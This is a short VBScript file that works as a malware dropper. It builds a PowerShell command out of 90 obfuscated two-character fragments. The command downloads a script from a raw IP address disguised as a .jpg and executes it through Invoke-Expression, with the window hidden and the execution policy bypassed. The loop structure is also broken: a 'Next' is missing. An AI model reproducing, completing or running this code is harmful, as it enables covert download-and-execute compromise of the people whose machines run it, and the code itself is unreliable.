Dim zGXPU(90), UdpVt, i
' Define each part based on the provided order
zGXPU(0) = "[B"
zGXPU(1) = "YT"
zGXPU(2) = "e["
zGXPU(3) = "]]"
zGXPU(4) = ";$"
zGXPU(5) = "A1"
zGXPU(6) = "23"
zGXPU(7) = "='"
zGXPU(8) = "Ie"
zGXPU(9) = "X("
zGXPU(10) = "Ne"
zGXPU(11) = "W-"
zGXPU(12) = "OB"
zGXPU(13) = "Je"
zGXPU(14) = "CT"
zGXPU(15) = " N"
zGXPU(16) = "eT"
zGXPU(17) = ".W"
zGXPU(18) = "';"
zGXPU(19) = "$B"
zGXPU(20) = "45"
zGXPU(21) = "6="
zGXPU(22) = "'e"
zGXPU(23) = "BC"
zGXPU(24) = "LI"
zGXPU(25) = "eN"
zGXPU(26) = "T)"
zGXPU(27) = ".D"
zGXPU(28) = "OW"
zGXPU(29) = "NL"
zGXPU(30) = "O'"
zGXPU(31) = ";["
zGXPU(32) = "BY"
zGXPU(33) = "Te"
zGXPU(34) = "[]"
zGXPU(35) = "];"
zGXPU(36) = "$C"
zGXPU(37) = "78"
zGXPU(38) = "9="
zGXPU(39) = "'V"
zGXPU(40) = "AN"
zGXPU(41) = "('"
zGXPU(42) = "'h"
zGXPU(43) = "tt"
zGXPU(44) = "p:"
zGXPU(45) = "//"
zGXPU(46) = "94"
zGXPU(47) = ".1"
zGXPU(48) = "56"
zGXPU(49) = ".6"
zGXPU(50) = ".2"
zGXPU(51) = "24"
zGXPU(52) = ":2"
zGXPU(53) = "22"
zGXPU(54) = "/c"
zGXPU(55) = "od"
zGXPU(56) = "er"
zGXPU(57) = ".j"
zGXPU(58) = "pg"
zGXPU(59) = "''"
zGXPU(60) = ")'"
zGXPU(61) = ".R"
zGXPU(62) = "eP"
zGXPU(63) = "LA"
zGXPU(64) = "Ce"
zGXPU(65) = "('"
zGXPU(66) = "VA"
zGXPU(67) = "N'"
zGXPU(68) = ",'"
zGXPU(69) = "AD"
zGXPU(70) = "ST"
zGXPU(71) = "RI"
zGXPU(72) = "NG"
zGXPU(73) = "')"
zGXPU(74) = ";["
zGXPU(75) = "BY"
zGXPU(76) = "Te"
zGXPU(77) = "[]"
zGXPU(78) = "];"
zGXPU(79) = "Ie"
zGXPU(80) = "X("
zGXPU(81) = "$A"
zGXPU(82) = "12"
zGXPU(83) = "3+"
zGXPU(84) = "$B"
zGXPU(85) = "45"
zGXPU(86) = "6+"
zGXPU(87) = "$C"
zGXPU(88) = "78"
zGXPU(89) = "9)"
' Combine the parts into one string
UdpVt = ""
For i = 0 To 90 - 1
UdpVt = UdpVt & zGXPU(i)
' Use the combinedParts in the shell execution
Set objShell = CreateObject("WScript.Shell")
objShell.Run "Cmd.exe /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI " & UdpVt, 0, True
Set objShell = Nothing